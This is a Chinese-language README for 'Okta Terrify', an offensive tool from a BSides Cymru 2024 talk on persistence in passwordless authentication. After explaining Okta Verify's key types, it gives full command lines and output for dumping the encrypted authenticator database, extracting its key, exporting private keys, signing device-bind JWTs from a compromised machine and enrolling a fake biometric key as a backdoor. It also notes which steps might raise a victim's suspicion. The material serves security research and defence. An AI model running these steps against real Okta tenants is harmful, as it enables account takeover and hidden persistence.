該工具是作為我的 BSides Cymru 2024 演講 Okta Terrify:無密碼世界中的持久性的一部分發布的。簡報和簡報影片已包含在該儲存庫中。
Okta Terrify 是一個工具,用於演示一旦身份驗證器端點受到威脅,無密碼解決方案(例如 Okta verify 的 FastPass 或其他 FIDO2/WebAuthn 類型解決方案)如何被濫用。雖然 Okta Terrify 示範了 Okta 特定攻擊,但相同的方法通常適用於其他無密碼解決方案,因為它們通常都利用非對稱加密技術。
無密碼身份驗證透過公鑰/私鑰對進行。通常,在身份驗證器註冊期間會產生兩種類型的金鑰: Proof Of Possession
和User Verification
。結合起來,這兩個金鑰都滿足組織努力實現的多因素身份驗證元素,作為保護用戶的持續努力的一部分。
擁有金鑰證明的目的就是為了證明身份驗證過程中特定身份驗證者和/或使用者的存在。在 Okta 的例子中,擁有金鑰證明用於確定身份驗證者和使用者的存在,因為在多用戶場景中,每個使用者都會產生唯一的擁有金鑰證明。所有權證明金鑰通常是靜默金鑰,不需要任何形式的生物辨識資料來解鎖其超出作業系統本身的用途,例如經過驗證的 Windows 使用者會話。如果可用,此密鑰將由 TPM 支持,因此無法從裝置匯出。當 TPM 不可用時,該金鑰將產生為純軟體金鑰。
用戶驗證金鑰還提供擁有證明,但也驗證用戶確實知道正在進行身份驗證。這是透過生物識別數據實現的,通常是指紋或臉部識別,但也有 PIN 碼支援。在基於 Windows 的裝置上,這通常是透過使用 Windows Hello 來實現。如果沒有提供正確的生物辨識數據,簽名操作將無法進行。一些無密碼解決方案將僅使用使用者驗證金鑰來滿足這兩個因素。這種方法的缺點是每次簽名操作都需要使用者的生物辨識資料。在 Okta 的範例中,擁有金鑰的證明可以與使用者密碼等分隔因素一起用作身分驗證期間的獨特因素。同樣,該密鑰要么由 TPM 支援(如果可用),要么由軟體產生(如果不可用)。
好的,關於無密碼的背景知識已經講得夠多了,讓我們開始吧。雖然所有受支援的 Okta 驗證裝置都存在相同的概念,但從這裡開始,我們將討論 Windows 版本的 Okta 驗證如何運作。
Okta 將驗證器資訊儲存在加密的 SQLite 資料庫中。有兩個不同的資料庫版本,舊版本儲存在名為OVStore.db
的檔案中,該檔案使用使用者 SID 作為透過自訂 XOR 演算法和固定金鑰傳遞的加密金鑰的基礎。較新的版本稱為DataStore.db
,並使用儲存在憑證管理員中的隨機值。該憑證透過與傳統格式類似的 XOR 演算法傳遞。資料庫儲存在%LocalAppData%OktaOktaVerify
。此資料庫包含在裝置註冊期間產生的所有權證明和使用者驗證金鑰的產生金鑰 ID。該資料庫還包含其他有用的元數據,例如裝置、使用者和身份驗證器 ID 以及註冊帳戶的 Okta 租用戶 URL。
Okta Terrify 分為兩個不同的部分。 Okta Terrify 和 OktaInk。
Okta Terrify 設計為在攻擊者的電腦上運行。該工具需要使用者 SID 和具有舊資料庫格式的資料庫文件,對於較新的格式,還需要資料庫金鑰。對於較新的格式,可以使用 OktaInk 產生資料庫金鑰。 Okta Terrify 有 4 種操作模式,透過各種開關控制。
--info
模式只是轉儲資料庫中包含的資訊。
遺留資料庫
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
較新的資料庫
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
在--backdoor
模式下,Okta Terrify 將使用官方 Okta 驗證應用程式在註冊期間使用的 OAuth 用戶端 ID 啟動租戶 Okta URL。這通常會觸發身份驗證流程,並且簽名模式在此階段處於活動狀態。建立經過驗證的會話後,攻擊裝置上會產生新的使用者驗證金鑰,並作為偽造的生物辨識金鑰進行註冊。註冊密鑰後,FastPass 將在無密碼狀態下運行,而不依賴原始受損的身份驗證器裝置。
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
在--sign
模式下,在 Okta 身份驗證期間,挑戰要么透過洩露的密鑰在本地簽名,要么當存在硬體支援的密鑰時,它們可以代理到在受感染的身份驗證器上運行的 OktaInk。
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
--import
模式將保存使用 Okta Ink 提取的軟體定義的所有權證明和使用者驗證金鑰。
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink 設計為在受感染的身份驗證器裝置上運作。該應用程式支援 4 種類型的操作。
對於較新的資料庫格式,可以使用--operation DumpDBKey
轉儲DataStore.db
檔案的資料庫金鑰。然後該密鑰可以用作 OkaInk 的參數。
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
在 Okta 驗證流程中,會產生質詢回應 JWT 以證明存在證明或使用者驗證金鑰可用。 --operation SignDeviceBind
模式可用於使用所有權證明金鑰對產生的 JWT 進行簽名,這是無聲的。如果要執行無密碼身份驗證,也可以透過新增-v
參數使用使用者驗證金鑰進行簽署。警告 - 當請求使用者驗證金鑰時,受害使用者將需要執行生物辨識驗證,因此可能會引起懷疑。
Okta verify 也註冊設備證明金鑰,這是一個靜默金鑰。當透過針對 Okta 租戶的 Web API 呼叫對註冊的身份驗證器裝置進行更改時,似乎會使用此金鑰。但預設情況下似乎不強制執行設備認證,因此不需要簽名。無論如何,可以透過--operation SignDeviceAttestation
參數來利用此模式。
對於不支援 TPM 的設備,可以使用--operation ExportPrivate
命令列匯出在設備上註冊的所有金鑰。所有權證明金鑰與使用者 DPAPI 金鑰相關聯,因此必須知道使用者密碼。
在後門註冊過程中,我們需要確保現有公鑰保留在租用戶身分驗證器資料中。 --operation ExportPublic
透過匯出與特定金鑰 ID 關聯的公鑰來實現此目的。
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....